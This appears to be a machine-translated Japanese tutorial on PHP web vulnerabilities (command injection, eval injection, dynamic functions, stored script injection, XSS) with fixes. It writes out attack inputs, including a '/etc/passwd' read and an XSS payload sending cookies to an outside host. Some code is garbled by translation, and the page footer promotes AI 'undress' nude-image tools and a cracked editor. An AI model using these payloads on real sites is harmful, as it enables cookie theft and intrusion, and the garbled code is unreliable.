コマンド注入攻撃
PHP では次の 5 つの関数を使用して外部アプリケーションまたは関数を実行できます
system、exec、passthru、shell_exec、"(shell_exec と同じ関数)
関数プロトタイプ
文字列システム(文字列コマンド, int &return_var)
command 実行するコマンド
return_var には、実行コマンド
の実行後のステータス値が格納されます。
string exec (string コマンド、配列 &output、int &return_var)
command 実行するコマンド
Output は、コマンド
を実行して文字列出力の各行を取得します。
return_var には、コマンド
の実行後のステータス値が格納されます。
void passthru (文字列コマンド、int &return_var)
command 実行するコマンド
return_var には、コマンド
の実行後のステータス値が格納されます。
文字列shell_exec (文字列コマンド)
command 実行するコマンド
脆弱性例
例 1:
//ex1.php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "
";<br> system("ls -al ".$dir);<br> echo "";
}
?>
http://www.sectop.com/ex1.php?dir= cat /etc/passwd
を送信します 送信後、コマンドは system("ls -al cat /etc/passwd"); になります。
評価インジェクション攻撃
eval 関数は、入力文字列パラメーターを PHP プログラム コード
として実行します。
関数プロトタイプ:
mixed eval(string code_str) //eval インジェクションは通常、攻撃者が入力文字列
を制御できる場合に発生します。
//ex2.php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します
動的関数
関数 A()
{
何かをする();
}
関数 B()
{
何かをする();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
プログラマの本来の意図は、関数 A と B を動的に呼び出すことであり、その後、http://www.sectop.com/ex.php?func=phpinfo を送信すると、脆弱性が生成されます
予防方法
1. 外部コマンドを実行しないようにしてください
2. カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます
3.escapeshellarg関数を使用してコマンドパラメータを処理します
4.safe_mode_exec_dir を使用して、実行可能ファイル
のパスを指定します。
esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をすべてエスケープします。一重引用符「'」は「'」に、二重引用符「"」は「;」に置き換えられます。 「
」
実行可能ファイルのパスを指定するには、safe_mode_exec_dir を使用します。使用するコマンドを事前にこのパスに配置できます。
セーフモード = オン
safe_mode_exec_di r= /usr/local/php/bin/
クライアント側スクリプトの埋め込み
クライアント側スクリプトの挿入 (スクリプト挿入) とは、フォーム、画像、アニメーション、ハイパーリンク テキストなどのオブジェクトに実行可能スクリプトを挿入することを指します。ユーザーがこれらのオブジェクトを開くと、攻撃者によって埋め込まれたスクリプトが実行され、攻撃が始まります。
スクリプトの埋め込みに使用できる HTML タグには通常、次のものが含まれます:
1. <script> タグでマークされた JavaScript や vbscript などのページ スクリプト プログラム。 <script> タグで js プログラム コードを指定することも、src 属性 <br/> で js ファイルの URL パスを指定することもできます。
2. <object> タグでマークされたオブジェクト。これらのオブジェクトは、Java アプレット、マルチメディア ファイル、ActiveX コントロールなどです。通常、オブジェクトの URL パスはデータ属性 <br/> 内で指定されます。
3. <embed> タグでマークされたオブジェクト。これらのオブジェクトは、swf ファイルなどのマルチメディア ファイルです。オブジェクトの URL パスは通常、src 属性 <br/> 内で指定されます。
4. <applet> ラベルでマークされたオブジェクト。これらのオブジェクトは Java アプレットであり、オブジェクトへの URL パスは通常、コードベース属性 <br/> 内で指定されます。
5. <form> タグでマークされたオブジェクト。フォーム <span class="t_tag" href="tag.php?name=%CA%FD%BE%DD"> データ を処理する Web アプリケーションの URL パスは、通常、アクション属性 </script>
クライアント側スクリプト埋め込み攻撃手順
1. 攻撃者は一般ユーザーとして登録し、Web サイト
にログインします。
2.メッセージページを開き、攻撃用のJSコードを挿入します
3. 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4. メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
例
データベース
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL デフォルト ”,
`name` varchar(40) NOT NULL デフォルト ”,
`email` varchar(25) NOT NULL デフォルト ”,
「質問」メディアテキストが NULL ではありません、
`postdate` datetime NOT NULL デフォルト '0000-00-00 00:00:00',
主キー (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’ユーザーのメッセージ’ AUTO_INCREMENT=69;
//add.php メッセージを挿入
//list.php メッセージリスト
//show.php メッセージを表示
下の画像を添えてメッセージを送信してください
このメッセージを閲覧すると、js スクリプトが実行されます
<script>while(1){windows.open();}</script> 無限ポップアップ ボックスを挿入します
Insert<script>location.href="http://www.sectop.com";</script> フィッシング ページにジャンプします
または、他の自己構築された JS コードを使用して攻撃します
予防方法
通常、特殊文字を HTML エンコーディングに変換するには、htmlspecialchars 関数を使用します
関数プロトタイプ
string htmlspecialchars (string string、int quote_style、string charset)
string はエンコードされる文字列です
quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、または ENT_NOQUOTES です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符と一重引用符が変換されないことを示します
charset オプション。使用される文字セットを示します
この関数は、次の特殊文字を HTML エンコードに変換します:
& —-> &
" —-> "
「—->」
> -> >
show.php の 98 行目を
に変更します。
次に、js が挿入されている 脆弱性 ページ
を確認します。
XSS クロスサイト スクリプティング攻撃
XSS(Cross Site Scripting)とは、クロスサイトスクリプティング攻撃のことを指し、CSS(Cascading Style Sheet)と区別するため、XSS
と略します。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、このデータを取得すると、そのユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイト スクリプティング攻撃の一般的な手順:
1. 攻撃者は、何らかの方法で xss http リンクをターゲット ユーザーに送信します
2. ターゲットユーザーはこの Web サイトにログインし、ログインプロセス中に攻撃者によって送信された xss リンクを開きました
3. Web サイトはこの xss 攻撃スクリプトを実行しました
4. 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5. 攻撃者はターゲットユーザーの情報を使用して Web サイトにログインし、攻撃を完了します
クロスサイト脆弱性を持つプログラムが出現すると、攻撃者は http://www.sectop.com/search.php?key=<script>document.location= ' のようなものを構築する可能性があります。 http://www.hack.com/getcookie.php?cookie='+document.cookie;</script>>、ユーザーを騙してクリックさせた後、ユーザーの Cookie 値を取得できます
予防方法:
htmlspecialchars 関数を使用して特殊文字を HTML エンコーディングに変換します
関数プロトタイプ
string htmlspecialchars (string string、int quote_style、string charset)
String はエンコードされる文字列です
quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES です。デフォルト値は ENT_COMPAT です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符も一重引用符も変換されないことを示します
charset はオプションで、使用される文字セットを示します
この関数は、次の特殊文字を HTML エンコードに変換します:
& —-> &
" —-> "
「—->」
> -> >
$_SERVER["PHP_SELF"] 変数のクロスサイト
フォームでパラメーターを自分自身に送信する場合は、次のようなステートメントを使用します
"メソッド="POST">
……
$_SERVER["PHP_SELF"] 変数の値は現在のページ名です
例:
http://www.sectop.com/get.php
get.php
の上記フォーム
次に
を送信します
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>>
すると、フォームは
になります。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

AtomエディタMac版ダウンロード
最も人気のあるオープンソースエディター

MantisBT
Mantis は、製品の欠陥追跡を支援するために設計された、導入が簡単な Web ベースの欠陥追跡ツールです。 PHP、MySQL、Web サーバーが必要です。デモおよびホスティング サービスをチェックしてください。

ZendStudio 13.5.1 Mac
強力な PHP 統合開発環境

EditPlus 中国語クラック版
サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

SecLists
SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。
